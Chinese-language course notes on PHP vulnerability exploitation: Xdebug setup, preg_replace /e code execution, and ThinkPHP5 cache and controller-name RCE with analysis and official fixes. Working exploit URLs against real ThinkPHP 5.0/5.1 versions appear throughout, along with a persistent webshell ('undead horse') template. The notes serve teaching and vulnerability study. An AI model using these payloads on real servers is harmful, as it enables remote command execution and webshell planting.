PHP安全漏洞实战:从环境配置到RCE攻击
第一部分:环境配置(VS Code 调试 PHP)
1.1 整体思路
VS Code 调试 PHP 的核心链路只有三步:
VS Code(PHP Debug 扩展) → 监听 9003 端口 → Xdebug → PHP 代码
三件事必须完成:
- 安装 PHP(推荐 7.3)
- 安装并配置 Xdebug
- VS Code 安装 PHP Debug 扩展,配置 launch.json
1.2 具体步骤
Step 1:确认 PHP 版本
bash
php -v # 查看版本
php --ini # 查看 php.ini 位置
Step 2:安装 Xdebug(关键!)
- 不要自己猜版本,去 https://xdebug.org/wizard
- 创建
phpinfo.php(内容:<?php phpinfo(); ?>),浏览器访问后复制全部源码,粘贴到 Wizard - Wizard 会告诉你:下载哪个文件、32/64位、TS还是NTS、放哪个目录、php.ini 怎么配
Step 3:配置 php.ini
ini
[xdebug]
zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_port=9003
- 注意:Xdebug 3 默认端口是 9003,不是旧版的 9000
- Windows 上
zend_extension可能需要写完整路径,如"C:\php\ext\php_xdebug.dll" - 如果使用 PHPStudy 自带的 xdebug,注意它是 2.x 版本(适配 PHP5),PHP 7.3 需要 3.x 版本,必须删掉旧版手动下载新版
Step 4:重启服务
- 改完 php.ini 必须重启 PHP 服务
- 命令行 PHP 直接重跑脚本就行
- Apache:
sudo systemctl restart apache2 - Nginx + PHP-FPM:
sudo systemctl restart php-fpm
Step 5:验证 Xdebug 是否生效
bash
php -v # 看输出有没有 Xdebug 字样
php -m | grep -i xdebug
网页环境重新访问 phpinfo.php,页面应能看到 Xdebug 区块。
Step 6:VS Code 配置 launch.json
项目根目录创建 .vscode/launch.json:
json
{
"version": "0.2.0",
"configurations": [
{
"name": "Listen for Xdebug",
"type": "php",
"request": "launch",
"port": 9003
},
{
"name": "Debug current PHP file",
"type": "php",
"request": "launch",
"program": "${file}",
"cwd": "${fileDirname}",
"port": 9003
}
]
}
Listen for Xdebug:调试网页 PHP 项目Debug current PHP file:调试当前打开的 PHP 文件
Step 7:开始调试
- 在代码左侧点击添加断点(小红点)
- 打开左侧"运行和调试"面板
- 选择对应配置,点绿色启动按钮
- 浏览器访问 PHP 页面,执行到断点会自动停住
第二部分:有限字符 RCE(远程代码执行)回顾
2.1 16 字符 RCE 的三种方式
当只有 16 个字符可用时,三种突破方法:
- 反引号执行命令 :利用 PHP 的反引号(`````)可以执行系统命令,类似
shell_exec() - file_put_contents + 伪协议包含:写入文件再用伪协议包含执行
- 上传临时文件 + 回调函数 :利用 PHP 上传临时文件机制,配合
?通配符匹配临时文件名,配合变长参数技巧
2.2 文件生成的技巧
- 用
ls -T按时间倒序排列文件(新文件在前) - base64 编码的文件名会被特殊处理,解码后写入目标文件
- 当禁用下划线、美元符时,用
?通配符匹配临时文件,但要注意临时文件夹文件太多时匹配可能失败
第三部分:preg_replace /e 模式下的代码执行(重点!)
这是本节课最核心的知识点,三个坑层层递进,必须彻底理解。
3.1 漏洞代码
php
<?php
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei', // 第一个参数:正则匹配模式
'strtolower("\\1")', // 第二个参数:替换内容
$str // 第三个参数:原始字符串
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag() {
@eval($_GET['cmd']);
}
?>
3.2 preg_replace 函数理解
preg_replace(正则模式, 替换成什么, 原始字符串)
- 第一个参数:正则表达式,用来匹配原始字符串中的内容
- 第二个参数 :
\1表示第一个捕获分组的内容(正则中用括号()表示分组) - 第三个参数:要被处理的原始字符串
/e修饰符:相当于 eval(),会让替换结果被当作 PHP 代码执行!
3.3 第一个坑:\1 的含义
在 'strtolower("\\1")' 中:
\\1转义后变成\1\1在正则中表示第一个子匹配项(第一个括号捕获的内容)- 所以
/e模式下,替换后的内容会被 eval 执行,\1会被替换成实际匹配到的内容
3.4 第二个坑:GET 传参的特殊字符转换
官方 payload 是 /?.*={${phpinfo()}}
- 传参后变成:
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${phpinfo()}) - 但是 :PHP 中 GET 参数名
.会被自动转换成_! - 所以
.*传进去变成了_*,正则匹配失败,代码无法执行
解决方案 :换正则表达式,用 \S* 代替 .*
\S匹配所有非空白字符(字母、数字、符号等可见字符都算)\S*匹配 0 个或多个非空白字符\S中的反斜杠不会被 PHP 自动转换,所以能正常工作!
payload 改为:?\S*={${phpinfo()}}
3.5 第三个坑:为什么需要 ${phpinfo()} 这种形式?
这里涉及 PHP 的双引号变量解析机制:
- 双引号 中的变量会被解析执行,单引号中的变量原样输出
${phpinfo()}中,大括号里的phpinfo()会被当作变量先执行- 执行后
phpinfo()返回true(布尔值),变成${1},即变量名为 "1" 的变量 - 这就是 PHP 的可变变量机制
关键理解:
php
// 双引号会解析大括号里的内容
$str = "${phpinfo()}"; // 先执行 phpinfo(),返回 true,变成 ${1}
// 单引号不会解析,原样输出
$str = '${phpinfo()}'; // 就是字符串 "${phpinfo()}"
整个执行链条:
{${phpinfo()}}
→ 先执行 phpinfo(),返回 true
→ 变成 ${1}
→ 1 被当作变量名解析
→ strtolower 处理
→ 最终输出
3.6 几个重要的验证例子
php
var_dump(phpinfo()); // 结果:布尔 true
var_dump(strtolower(phpinfo())); // 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','${phpinfo()}')); // 结果:字符串 '11'
第一个 1 是 phpinfo() 返回 true 转成字符串 "1",第二个 1 是替换内容中的 "1"。
3.7 调用 getFlag() 函数
php
payload: ?\S*=${getFlag()}&cmd=phpinfo();
- 通过
${getFlag()}先执行 getFlag 函数 - getFlag 函数内部有
@eval($_GET['cmd']) - cmd 参数传入
phpinfo(),实现代码执行
3.8 防御方法
把双引号换成单引号:
php
// 危险(双引号会解析变量)
'strtolower("\\1")'
// 安全(单引号不解析变量)
"strtolower('\\1')"
3.9 版本兼容性
/e修饰符在 PHP 5.6 中会提示废弃但能执行- PHP 7.3 中
/e完全不被支持,直接报错 - 漏洞利用需要 PHP 7.3 之前版本
第四部分:ThinkPHP 框架基础
4.1 框架简介
- ThinkPHP 是国产轻量级 PHP Web 开发框架,18 年历史
- 早期市场占有率 70-80%,中文文档完善
- 从 2.0 发展到现在的 8.0
- 就像"毛坯房框架",提供底层架构,开发者只需装修业务功能
4.2 框架搭建(手动安装)
核心框架 :https://github.com/top-think/framework
外部框架:https://github.com/top-think/think
搭建步骤:
- 下载外部框架(think),解压到
www/tp5010 - 在
tp5010下创建thinkphp文件夹 - 下载核心框架(framework),放入
thinkphp文件夹 - 配置虚拟主机(Nginx/Apache),指向
public目录 - 修改 hosts 文件:
C:\Windows\System32\drivers\etc\hosts,添加127.0.0.1 tp5010 - 重启 Web 服务
4.3 DNS 解析顺序
- 先查本地缓存
- 找不到再查 hosts 文件
- 最后才请求 DNS 服务器
所以修改 hosts 文件就能实现本地域名劫持。
4.4 强制路由 vs 兼容模式
- 强制路由模式 :所有请求必须通过定义好的路由规则访问,不能直接
模块/控制器/方法访问 - 兼容模式 :允许传统方式访问,如
?s=模块/控制器/方法 - ThinkPHP 默认关闭强制路由,开启兼容模式 ------ 这是漏洞的根源!
第五部分:ThinkPHP5 缓存 RCE 漏洞(代码执行 8)
影响版本:5.0.0 <= ThinkPHP5 <= 5.0.10
5.1 漏洞原理
缓存类将数据序列化后直接存储在 .php 文件中,缓存文件名和目录可预测,攻击者可以写入 webshell。
5.2 漏洞代码
php
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
public function index()
{
Cache::set("name", input("get.username"));
return 'Cache success';
}
}
5.3 攻击 payload
http://localhost/tpdemo/public/?username=mochazz123%0d%0a@eval($_GET[_]);//
5.4 漏洞分析(逐层深入)
第一层:Cache::set 调用链
Cache::set("name", 用户输入)
→ init() 单例初始化
→ 根据配置 type 决定驱动(默认 file)
→ 实例化 think\cache\driver\File 类
→ 调用 File 类的 set 方法
第二层:缓存文件名生成
getCacheKey("name")
→ md5("name") = "b068931cc450442b63f5b3d276ea4297"(32位)
→ 前 2 位作为子目录:b0/
→ 后 30 位作为文件名:68931cc450442b63f5b3d276ea4297.php
→ 完整路径:runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php
关键点:
- 缓存文件路径完全可预测(只要知道键名)
- 文件后缀是
.php,可以直接执行 - 写入内容前有
//注释符,但可以用换行符绕过
第三层:绕过注释符
写入缓存时,内容前面会拼接 // 注释符:
php
//序列化数据
正常情况这行注释不会执行。但攻击者通过 %0d%0a(URL 编码的 \r\n 换行符)把恶意代码换到下一行:
//mochazz123
@eval($_GET[_]);//序列化数据
这样 @eval($_GET[_]) 就逃出了注释范围,变成可执行代码!
第四层:序列化过程
- 数据先经过序列化(
serialize),如s:30:"mochazz123\r\n@eval($_GET[_]);//" - 默认不压缩(
data_compress为 false) - 最终通过
file_put_contents写入文件
5.5 漏洞利用的限制
- 需要知道缓存键名(如本例中的 "name")
- 缓存文件写入
runtime目录,而网站根目录是public,直接访问不到 - 如果配置了前缀
$this->options['prefix'],又多一层目录,更难猜 - 实际利用需要配合文件包含漏洞才能触发
5.6 官方修复
将数据拼接在 <?php ?> 标签之外,并在标签中拼接 exit() 函数,防止代码执行。
第六部分:ThinkPHP5 控制器名 RCE 漏洞(代码执行 9)
影响版本:5.0.7 <= ThinkPHP5 <= 5.0.22 、5.1.0 <= ThinkPHP <= 5.1.30
6.1 漏洞原理
框架没有对控制器名进行合法校验,在未开启强制路由的情况下,用户可以调用任意类的任意方法,导致远程代码执行。
6.2 攻击 payload
5.1.x 版本:
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x 版本:
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
6.3 漏洞分析(逐层深入)
第一层:请求入口
兼容模式下,URL 格式:?s=模块/控制器/方法
例如:?s=index/\think\Request/input&filter[]=system&data=pwd
- 模块:
index - 控制器:
\think\Request(注意反斜杠表示全局命名空间) - 方法:
input - 参数:
filter[]=system&data=pwd
第二层:参数传递
所有用户参数经过 Request 类的 input 方法处理:
input('get.data') → 获取 data 参数
input('get.filter') → 获取 filter 参数
第三层:filterValue 方法中的 call_user_func
php
// 简化逻辑
$filter = 'system'; // 来自 filter 参数
$value = 'pwd'; // 来自 data 参数
if (is_callable($filter)) {
call_user_func($filter, $value); // 相当于 system('pwd')
}
这就是核心:filter 参数指定函数名,data 参数指定函数参数,最终通过 call_user_func 执行任意命令!
第四层:反射调用机制
程序在 exec 函数中利用反射(Reflection)动态调用类的方法:
php
// 正常调用
$obj = new Request();
$obj->input($args);
// 反射调用(框架内部使用的方式)
$reflect = new ReflectionMethod($class, $method);
$reflect->invokeArgs($instance, $args);
这里的类、方法、参数都是我们可以控制的,而且整个过程没有对控制器名合法性检测!
第五层:为什么 5.0.x 和 5.1.x 的 payload 不完全通用
两个版本已加载的类不同,导致可利用的类也不一样。比如:
- 5.1.x 有
think\Container、think\Request等 - 5.0.x 有
think\Config、think\Lang等
6.4 核心调用链总结
用户请求 ?s=index/\think\Request/input&filter[]=system&data=pwd
→ App::run()
→ 解析 s 参数,获取控制器名 \think\Request 和方法名 input
→ Dispatch::run()
→ exec() 反射调用
→ Request::input('get.data', '', 'system')
→ filterValue('pwd', 'system')
→ call_user_func('system', 'pwd')
→ 执行系统命令 pwd
6.5 官方修复(5.1.31 版本)
增加正则表达式 ^[A-Za-z](\w)*$ 对控制器名进行合法性检测:
- 控制器名必须以英文字母开头
- 只能包含字母、数字、下划线
- 反斜杠
\开头会被直接拦截,返回 404
6.6 漏洞产生的两个关键原因
- 框架没有强制要求使用标准路由(默认关闭强制路由,开启兼容模式)
- 对控制器名的检测不够严格(没有过滤非法字符)
第七部分:调试技巧(重要!)
7.1 调试的重要性
老师反复强调:看十遍不如动手做一遍!
- 光听懂不等于掌握,不动手实操很快就会遗忘
- 面试时说不清漏洞原理,就是因为缺乏练习
- 复杂漏洞涉及多个函数调用链,不用调试工具根本跟踪不了
7.2 调试思路
- 先设置断点(在关键函数入口处)
- 单步执行(F10 逐行、F11 进入函数)
- 观察变量值的变化
- 跟踪参数传递路径
- 验证分析结果是否与实际执行一致
7.3 代码追踪技巧
- 在 PhpStorm 中按住 Ctrl 点击方法名可直接跳转到定义处
- VS Code 如果没有此功能,需要按框架目录结构手动查找
- ThinkPHP 框架目录结构:
thinkphp/library/think/下按功能分类
第八部分:不死马(内存马)补充知识
8.1 不死马原理
php
<?php
set_time_limit(0); // 永不超时
ignore_user_abort(true); // 忽略用户断开
unlink(__FILE__); // 删除自身文件
while(1) {
file_put_contents('test.php', '恶意代码');
sleep(5);
}
?>
8.2 不死马 vs 真正的内存马
| 特征 | 不死马 | 真正的内存马 |
|---|---|---|
| 磁盘文件 | 有(会生成文件) | 无(不落盘) |
| 可发现性 | 容易被发现 | 隐蔽性强 |
| 清除方式 | 重启 PHP 进程 | 重启 PHP 进程 |
| 原理 | while 死循环 | 内存注入 |
8.3 清除方法
- 杀掉 PHP 进程
- 重启 PHP-FPM / Web 服务器
- 检查 CPU 高占用(不死马和挖矿木马的常见特征)